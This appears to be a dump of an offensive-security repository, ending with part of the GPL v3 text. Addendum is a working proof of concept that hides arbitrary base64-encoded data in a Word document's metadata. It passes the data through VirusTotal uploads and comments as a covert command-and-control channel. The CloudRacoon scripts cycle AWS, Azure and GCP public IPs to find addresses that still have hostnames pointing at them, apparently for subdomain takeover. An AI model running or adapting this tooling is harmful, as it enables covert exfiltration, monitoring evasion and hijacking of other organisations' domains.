[
  {
    "path": "Addendum/addendum.py",
    "content": "import sys\nimport os\nimport io\nimport argparse\nimport zipfile\nimport requests\nimport base64\nimport time\nimport random\nimport string\nfrom pprint import pprint\nfrom datetime import datetime\n\nTemplateFile = 'Template.docx'\nScanTimeout = 120 # seconds\nStartUpTime = datetime.now() \nProcessed = []\n\nBase = 'https://www.virustotal.com'\nSession = requests.session()\nHeaders = {\n    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',\n}\n\nDescription = \"\"\"                      \n _____   _   _           _           \n|  _  |_| |_| |___ ___ _| |_ _ _____ \n|     | . | . | -_|   | . | | |     |\n|__|__|___|___|___|_|_|___|___|_|_|_|\n    VirusTotal C2 - Proof of Concept \n\"\"\"\n\ndef login(username, password):\n    global Session\n\n    response = Session.post(Base + '/ui/signin',\n        json = { 'data' : {\n            'user_id': username,\n            'password': password,\n            'forever': True\n        }},\n        headers = Headers\n    )\n\n    Session.headers = Headers\n    Session.headers['x-session-hash'] = Session.cookies['VT_SESSION_HASH']\n\n    return (response.status_code == 200)\n\n\ndef upload_file(file_data, file_name = TemplateFile):\n\n    response = requests.get(Base + '/ui/files/upload_url', headers = Headers)\n\n    try:\n        upload_url = response.json()['data']\n    except:\n        print('[!] Failed to get upload URL')\n        print(response.json())\n        return False\n\n    #print('[+] Got Upload URL: ' + upload_url)\n\n    files = {\n        'file': (file_name, file_data),\n        'filename' : (None, file_name)\n    }\n    response = requests.post(upload_url, files = files, headers = Headers)\n\n    try:\n        return response.json()['data']['id']\n    except:\n        print('[!] Failed to post file')\n        print(response.json())\n        return None\n\ndef check_file_analysis(id):\n    response = requests.get(Base + '/ui/analyses/{}'.format(id), headers = Headers)\n\n    try:\n        status = response.json()['data']['attributes']['status']\n        sha256 = response.json()['meta']['file_info']['sha256']\n        return status, sha256\n    except:\n        return None, None\n\ndef get_file_attributes(hash):\n    response = requests.get(Base + '/ui/files/{}'.format(hash), headers = Headers)\n\n    try:\n        return response.json()['data']['attributes']\n    except:\n        print('[!] Failed to get data')\n        print(response.json())\n        return None\n\ndef wrap_with_document(data):\n    encoded = base64.b64encode(data)\n    nonce = ''.join(random.choice(string.ascii_uppercase) for _ in range(12))\n    insertion = b'<HyperlinkBase>' + nonce.encode() + b'|' + encoded + b'</HyperlinkBase>'\n\n    tempate_data = open('template.docx', 'rb').read()\n    new_buffer = io.BytesIO()\n          \n    with zipfile.ZipFile('template.docx', 'r') as zip_in:\n        with zipfile.ZipFile(new_buffer, 'w') as zip_out:\n            for item in zip_in.infolist():\n                data = zip_in.read(item.filename)\n\n                if item.filename == 'docProps/app.xml':\n                    data = data.replace(b'</Properties>', insertion + b'</Properties>')\n                   \n                zip_out.writestr(item, data)\n\n    return new_buffer.getvalue()\n\ndef unwrap_from_attributes(attributes):\n\n    try:\n        hyperlink_base = attributes['openxml_info']['docprops_app']['HyperlinkBase']\n        nonce, encoded = hyperlink_base.split('|')\n        data = base64.b64decode(encoded)\n    except:\n        return None\n\n    return data\n\ndef post_comment(hash, comment):\n    global Session\n\n    post_data = {\n        'data': {\n            'type': 'comment',\n            'attributes': {\n                'text': hash\n            }\n        }\n    }\n\n    response = Session.post(Base + '/ui/files/{}/comments'.format(hash), headers = Headers, json = post_data)\n\n    return response.status_code == 200\n\ndef locate_hash_with_comments(username):\n    global Processed\n\n    response = requests.get(Base + '/ui/users/{}/comments?relationships=item,author'.format(username), headers = Headers)\n\n    try:\n        comments = response.json()['data']\n\n        valid = [ \n            c for c in comments if\n            c['relationships']['item']['data']['id'] not in Processed # and \\\n            #datetime.fromtimestamp(c['attributes']['date']) > StartUpTime\n        ]\n\n        print(valid)\n        if not valid:\n            return None\n\n        latest = valid[0]\n        file_hash = latest['relationships']['item']['data']['id']\n        Processed.append(file_hash)\n        return file_hash\n    except:\n        return None\n\ndef main(args):\n    parser = argparse.ArgumentParser(description=Description, formatter_class=argparse.RawDescriptionHelpFormatter)\n\n    parser.add_argument('-u', '--username', help=\"Virus Total username\")\n    parser.add_argument('-p', '--password', help=\"Virus Total password\")\n    parser.add_argument('-s', '--size', help=\"Test data size to generate (KB)\", type=int, default=512)\n\n    args = parser.parse_args()\n\n    print(Description)\n\n    # \"Server side\"\n\n    print('\\n== Server mode ==\\n')\n\n    if not login(args.username, args.password):\n         print('[!] Failed to login')\n         return\n\n    # Load whatever data you'd like here\n    data = os.urandom(args.size * 1024)\n\n    file_data = wrap_with_document(data)\n    print('[+] Wrapped data in file ({} bytes)'.format(len(data)))\n\n    analysis_id = upload_file(file_data)\n    if not analysis_id:\n        print('[!] Failed to get analysis ID')\n        return\n\n    print('[+] Uploaded file to VT. Analysis: {}'.format(analysis_id))\n\n    print('\\n    Waiting for scan to finish ...\\n')\n    \n    time_left = ScanTimeout\n    while time_left:\n        status, sha256 = check_file_analysis(analysis_id)\n            \n        if 'completed' not in status.lower() or not sha256:\n            time.sleep(5)\n            time_left -= 5\n        else:\n            break\n\n    if not time_left:\n        print('[!] Timeout hit waiting for analysis to finish')\n        return\n\n    print('[+] File is done. SHA256: ' + sha256)\n\n    if not post_comment(sha256, \"Hello\"):\n        print('[!] Failed to post tracking comment')\n        return\n\n    print('[+] Posted tracking comment')\n    \n    # \"Client side code now\"\n\n    print('\\n== Client mode ==\\n')\n\n    found_sha256 = locate_hash_with_comments(args.username.split('@')[0])\n    if not found_sha256:\n        print('[!] Failed to find file hash')\n        return\n\n    print(\"[+] Found hash in '{}'s comments: {}\".format(args.username, found_sha256))\n\n    attributes = get_file_attributes(found_sha256)\n    if not attributes:\n        print('[!] Failed to get file attributes')\n        return\n\n    new_data = unwrap_from_attributes(attributes)\n    if not new_data:\n        print('[!] Failed to unwrap payload data')\n        return\n\n    if new_data != data:\n        print('[!] C2 test failed, data does not match')\n    else:\n        print('\\n[+] Data matches!')\n\n\nif __name__ == '__main__':\n    sys.exit(main(sys.argv[1:]))\n"
  },
  {
    "path": "CloudRacoon/racoon_aws.py",
    "content": "import re, os, sys, argparse\nimport boto3\nfrom pprint import pprint\nimport requests\nimport random\nimport time\n\nDescription = \"\"\"                      \n _____ _           _ _____                     \n|     | |___ _ _ _| | __  |___ ___ ___ ___ ___ \n|   --| | . | | | . |    -| .'|  _| . | . |   |\n|_____|_|___|___|___|__|__|__,|___|___|___|_|_|\n    Cloud IP Hunting - Proof of Concept [AWS]         \n\"\"\"\n\nTLDWhitelist = ['.com', '.net', '.org', '.edu']\nAWSRegions = ['us-east-2','us-east-1','us-west-1','us-west-2','ca-central-1','eu-central-1','eu-west-1','eu-west-2','eu-west-3','eu-north-1']\n\nSession = None\nCSRFToken = None\n\ndef get_hostnames(address):\n    global Session\n    global CSRFToken\n\n    if not Session:\n        #print('[+] Opening session for Security Trails ...')\n\n        Session = requests.Session()\n        response = Session.get('https://securitytrails.com/list/ip/1.1.1.1')\n        CSRFToken = re.findall(r'csrf_token = \"(\\S+?)\"', response.text)[0]\n\n    response = Session.post(f'https://securitytrails.com/app/api/v1/list?ipv4={address}', json = {'_csrf_token' : CSRFToken})\n\n    if response.status_code != 200:\n        print('[!] SecurityTrails request failed!')\n        print(response.text)\n        sys.exit(1)\n\n    records = response.json().pop('records', [])\n\n    if records:\n        return [r['hostname'] for r in records]\n\n    return []\n\ndef list_current_addresses(args):\n    if args.region == 'all':\n        regions = AWSRegions\n    else:\n        regions = [args.region]\n\n    for region in regions:\n\n        engine = boto3.client(\n        'ec2',\n        aws_access_key_id = args.access_key,\n        aws_secret_access_key = args.secret_key,\n        region_name = region\n        )\n\n        current_addresses = [a['PublicIp'] for a in engine.describe_addresses().pop('Addresses', [])]\n\n        if len(current_addresses) > 1:\n            print('\\n[+] {} has {}\\n'.format(region, len(current_addresses)))\n\n            for addr in current_addresses:\n                hostnames = get_hostnames(addr)\n                print('{:15} : {}'.format(addr, '|'.join(hostnames)))\n\n    print('')\n\ndef main(arguments):\n\n    parser = argparse.ArgumentParser(description=Description, formatter_class=argparse.RawDescriptionHelpFormatter)\n    parser.add_argument('region', choices=AWSRegions + ['all'], help=\"AWS Region to search\")\n    parser.add_argument('-c', '--count', type=int, help=\"Number of IPs to try\", default = 100)\n    parser.add_argument('-l', '--list', help=\"List current IP info\", action=\"store_true\")\n    parser.add_argument('-aK', '--access-key', help=\"AWS access key\")\n    parser.add_argument('-sK', '--secret-key', help=\"AWS secret key\")\n    args = parser.parse_args(arguments)\n\n    print(Description)\n\n    if args.list:\n        return list_current_addresses(args)\n\n    if args.region == 'all':\n        print(\"[!] 'All' is not valid when hunting\")\n        return\n\n    engine = boto3.client(\n    'ec2',\n    aws_access_key_id = args.access_key,\n    aws_secret_access_key = args.secret_key,\n    region_name = args.region\n    )\n\n    print('\\n[+] Connected to AWS. Hunting in {} ... (max: {})\\n'.format(args.region, args.count))\n\n    for l in range(0, args.count):\n\n        eip = engine.allocate_address(Domain='vpc')\n        address = eip['PublicIp']\n        allocation_id = eip['AllocationId']\n\n        hostnames = get_hostnames(address)\n\n        if hostnames:\n            valid_tld = any([[h for h in hostnames if h.endswith(tld)] for tld in TLDWhitelist])\n            obvious_bad = [h for h in hostnames if h.count('.') > 4]\n\n            if not valid_tld or obvious_bad:\n                print('\\t= {} : {}'.format(address, hostnames[0]))\n            else:\n                print('\\t+++ {} : {}'.format(address, '|'.join(hostnames)))\n                continue\n\n        print('\\t- {:15}'.format(address), end = '\\r')\n        engine.release_address(AllocationId=allocation_id)\n\n    print('\\n')\n\n\nif __name__ == '__main__':\n    sys.exit(main(sys.argv[1:]))\n"
  },
  {
    "path": "CloudRacoon/racoon_azure.ps1",
    "content": "Function Hunt-Azure {\n\t <#\n\t.SYNOPSIS\n\tHunt for useful cloud IP addresses in Azure\n\n\tAuthor: Nick Landers (@monoxgas)\n\tLicense: BSD 3-Clause\n\tRequired Dependencies: Azure Cmdlets\n\tOptional Dependencies: None\n\n\t.DESCRIPTION\n\tHunt for useful cloud IP addresses in Azure\n\n\t.EXAMPLE\n\tC:\\PS> Hunt-Azure -ResourceGroup MyGroup\n\n\t.PARAMETER ResourceGroup\n\tResource group name in Azure\n\n\t.PARAMETER RegionFilter\n\tWildcard filter for the full region names to hunt in\n\n\t.PARAMETER MaxCount\n\tMaximum addresses to cycle through\n\t#>\n\n\t[CmdletBinding()]\n\tParam(\n\t  [Parameter(Mandatory=$True, Position=1)]\n\t  [string] $ResourceGroup,\n\n\t  [string] $RegionFilter = \" US\",\n\n\t  [int] $MaxCount = 10     \n\t)\n\n\tWrite-Host\n@'\n _____ _           _ _____                     \n|     | |___ _ _ _| | __  |___ ___ ___ ___ ___ \n|   --| | . | | | . |    -| .'|  _| . | . |   |\n|_____|_|___|___|___|__|__|__,|___|___|___|_|_|\n    Cloud IP Hunting - Proof of Concept [Azure]         \n'@\n\ttry{\n\t\tConnect-AzAccount\n\t}catch{\n\t\tWrite-Error 'Failed to call Connect-AzAccount'\n\t\treturn $False\n\t}\n\n\tif ((Get-AzResource | ? {$_.ResourceGroupName -eq $ResourceGroup}).Length -eq 0){\n\t\tWrite-Error \"$($ResourceGroup) is no valid\"\n\t\treturn $False\t\t\n\t}\n\t\n\t$response = curl \"https://securitytrails.com/list/ip/1.1.1.1\" -SessionVariable session\n\tif (-not $response.Content -match 'csrf_token = \"(\\S+?)\"'){\n\t\tWrite-Error 'Failed to get CSRF token'\n\t\treturn $False\t\n\t}\n\n\t$response.Content -match 'csrf_token = \"(\\S+?)\"'\n\t$csrf_body = @{_csrf_token=$Matches[1]} | ConvertTo-Json\n\n\tWrite-Host \"[+] Connected to Azure. Hunting ...`n\"\n\n\t$Locations = Get-AzLocation | ? {$_.DisplayName -like \"*$($RegionFilter)*\"} | select -exp Location\n\n\t1..$MaxCount | % {\n\n\t\t$GeneratedName = -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})\n\n\t\t$Addr = New-AzPublicIpAddress -AllocationMethod Static -ResourceGroupName $ResourceGroup -Name $GeneratedName -Location (Get-Random $Locations) -WarningAction SilentlyContinue\n\n\t\tWrite-Host \"[+] Checking $($Addr.IpAddress)\"\n\n\t\t$response = curl \"https://securitytrails.com/app/api/v1/list?ipv4=$($Addr.IpAddress)\" -Method POST -Body $csrf_body -ContentType \"application/json\" -WebSession $session\n\n\t\tif ($response.Content[\"records\"].Count -gt 0){\n\n\t\t\tWrite-Host '[+] Found an interesting record:'\n\t\t\tWrite-Host $Addr\n\t\t\tWrite-Host $response.Content[\"records\"]\n\n\t\t}else{\n\t\t\t$Addr | Remove-AzPublicIpAddress -Force\n\t\t}\n\t}\n\n}"
  },
  {
    "path": "CloudRacoon/racoon_gcp.py",
    "content": "import time\nimport re\nimport sys\nimport argparse\nimport requests\nimport random\nimport string\nfrom libcloud.compute.types import Provider\nfrom libcloud.compute.providers import get_driver\nfrom pprint import pprint\n\nDescription = \"\"\"                      \n _____ _           _ _____                     \n|     | |___ _ _ _| | __  |___ ___ ___ ___ ___ \n|   --| | . | | | . |    -| .'|  _| . | . |   |\n|_____|_|___|___|___|__|__|__,|___|___|___|_|_|\n    Cloud IP Hunting - Proof of Concept [GCP]         \n\"\"\"\n\nTLDWhitelist = ['.com', '.net', '.org', '.edu']\nSearchRegions = ['us-east1', 'us-central1', 'us-west1', 'us-west2', 'us-east4']\n\nSession = None\nCSRFToken = None\n\ndef get_hostnames(address):\n    global Session\n    global CSRFToken\n\n    if not Session:\n        #print('[+] Opening session for Security Trails ...')\n\n        Session = requests.Session()\n        response = Session.get('https://securitytrails.com/list/ip/1.1.1.1')\n        CSRFToken = re.findall(r'csrf_token = \"(\\S+?)\"', response.text)[0]\n\n    response = Session.post(f'https://securitytrails.com/app/api/v1/list?ipv4={address}', json = {'_csrf_token' : CSRFToken})\n\n    if response.status_code != 200:\n        print('[!] SecurityTrails request failed!')\n        print(response.text)\n        sys.exit(1)\n\n    records = response.json().pop('records', [])\n\n    if records:\n        return [r['hostname'] for r in records]\n\n    return []\n\n\ndef main(arguments):\n\n    parser = argparse.ArgumentParser(description=Description, formatter_class=argparse.RawDescriptionHelpFormatter)\n\n    parser.add_argument('project', help=\"GCP project to hold assets under\")\n    parser.add_argument('-l', '--loops', help=\"Number of loops\", default = 50)\n    parser.add_argument('-r', '--regions', help=\"Regions to search (comma delimited)\", default = 'us-east1,us-central1,us-west1,us-west2,us-east4')\n    parser.add_argument('-lA', '--login-account', help=\"Service account for authentication\")\n    parser.add_argument('-lC', '--login-credentials', help=\"Service account credential file (JSON)\")\n    parser.add_argument('-q', '--quota', help=\"Quota limit for max IP addr\", default = 8)\n    parser.add_argument('-d', '--duplicate-ceiling', help=\"% of duplicate addresses seen before stopping\", default = 70)\n    args = parser.parse_args(arguments)\n\n    print(Description)\n\n    driver = get_driver(Provider.GCE)\n    engine = driver(\n    args.login_account,\n    args.login_credentials,\n    project=args.project\n    )\n\n    print('[+] Connected to GCP.\\n')\n\n    regions = args.regions.split(',')\n\n    current_region = random.choice(regions)\n    regions.remove(current_region)\n    existing_region_addrs = [a for a in engine.ex_list_addresses() if a.region == current_region]\n    current_ceiling = args.quota - len(existing_region_addrs)\n    print('[+] Switching to {} with {} existing addresses'.format(current_region, len(existing_region_addrs)))\n\n    currently_allocated = []\n    previously_seen = []\n\n    for l in range(1, args.loops):\n        print('[+] (L{}) Allocating {} new addresses'.format(l, current_ceiling))\n\n        for l in range(1, current_ceiling):\n            name = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))\n            ip = engine.ex_create_address(name, current_region)\n            currently_allocated.append(ip)\n\n        print('[+] Checking results')\n\n        matching = [m for m in currently_allocated if m.address in previously_seen]\n\n        for ip in currently_allocated:\n            records = get_hostnames(ip.address)\n\n            if ip.address not in matching:\n                previously_seen.append(ip.address)\n\n            if not records:\n                print('\\t- {}'.format(ip.address))\n                ip.destroy()\n                continue\n\n            print('\\t++ {}\\n'.format(ip.address))\n            pprint(records)\n            current_ceiling -= 1\n\n        if (len(matching) / len(currently_allocated)) > (args.duplicate_ceiling / 100):\n            print('[!] Duplicate cap ({} percent) has been hit'.format(args.duplicate_ceiling))\n\n            if not regions:\n                print('[!] Region list is empty')\n                break\n                \n            current_region = random.choice(regions)\n            regions.remove(current_region)\n            existing_region_addrs = [a for a in engine.ex_list_addresses() if a.region == current_region]\n            current_ceiling = args.quota - len(existing_region_addrs)\n            print('[+] Switching to {} with {} existing addresses'.format(current_region, len(existing_region_addrs)))\n\n        currently_allocated = []\n\n\n    print(\"\\n[+] Done.\")\n\n\nif __name__ == '__main__':\n    sys.exit(main(sys.argv[1:]))\n"
  },
  {
    "path": "CloudRacoon/requirements.txt",
    "content": "boto3\napache-libcloud\ncryptography"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice 